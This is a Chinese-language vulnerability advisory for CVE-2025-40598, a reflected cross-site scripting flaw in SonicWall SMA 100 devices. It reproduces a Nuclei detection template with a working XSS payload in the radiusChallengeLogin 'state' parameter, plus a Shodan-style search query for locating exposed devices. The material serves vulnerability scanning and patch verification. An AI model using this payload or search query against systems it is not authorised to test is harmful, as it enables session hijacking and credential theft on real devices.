SonicWall SMA 100 Web Interface Cross Site Scripting Vulnerability

漏洞信息

漏洞名称： SonicWall SMA 100 Web Interface Cross Site Scripting Vulnerability

漏洞编号：

• CVE： CVE-2025-40598

漏洞类型： 跨站可执行脚本

漏洞等级： 中危

漏洞描述： SonicWall SMA 100系列是一款广泛使用的安全移动接入设备，为企业提供远程访问解决方案。该设备的Web界面存在一个反射型跨站脚本（XSS）漏洞，允许远程未认证攻击者执行任意JavaScript代码。此漏洞的根源在于Web界面未能正确过滤用户输入，导致攻击者可以注入恶意脚本。成功利用此漏洞的攻击者可以在受害者的浏览器上下文中执行任意JavaScript代码，可能导致会话劫持、凭证盗窃或其他恶意活动。由于攻击者需要诱导用户访问特制的URL，因此攻击需要一定的用户交互。尽管如此，此漏洞仍然对使用受影响版本SonicWall SMA 100系列设备的企业构成了中等级别的安全风险。

产品厂商： sonicwall

产品名称： sma_100_firmware

搜索语法： intitle:”sonicwall”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/cda609086d5884205ad349fbfe08d45078db42f2/http%2Fcves%2F2025%2FCVE-2025-40598.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2025-40598

info:
  name: SonicWall SMA 100 - Web Interface Cross Site Scripting
  author: watchtowr,DhiyaneshDK
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability exists in the SMA100 series web interface, allowing a remote unauthenticated attacker to potentially execute arbitrary JavaScript code.
  impact: |
    Successful exploitation could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, credential theft, or other malicious activities.
  remediation: |
    Apply the latest security patches or updates provided by SonicWall to mitigate this vulnerability.
  reference:
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0012
    - https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-40598
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: sonicwall
    product: sma_100_firmware
    shodan-query: intitle:"sonicwall"
  tags: cve,cve2025,xss,sonicwall,sma100

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/radiusChallengeLogin?portalName=portal1&status=needchallenge&state=\"><img/src=x+onerror=alert`1`>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><img/src=x+onerror=alert`1`>'
          - 'SMA'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'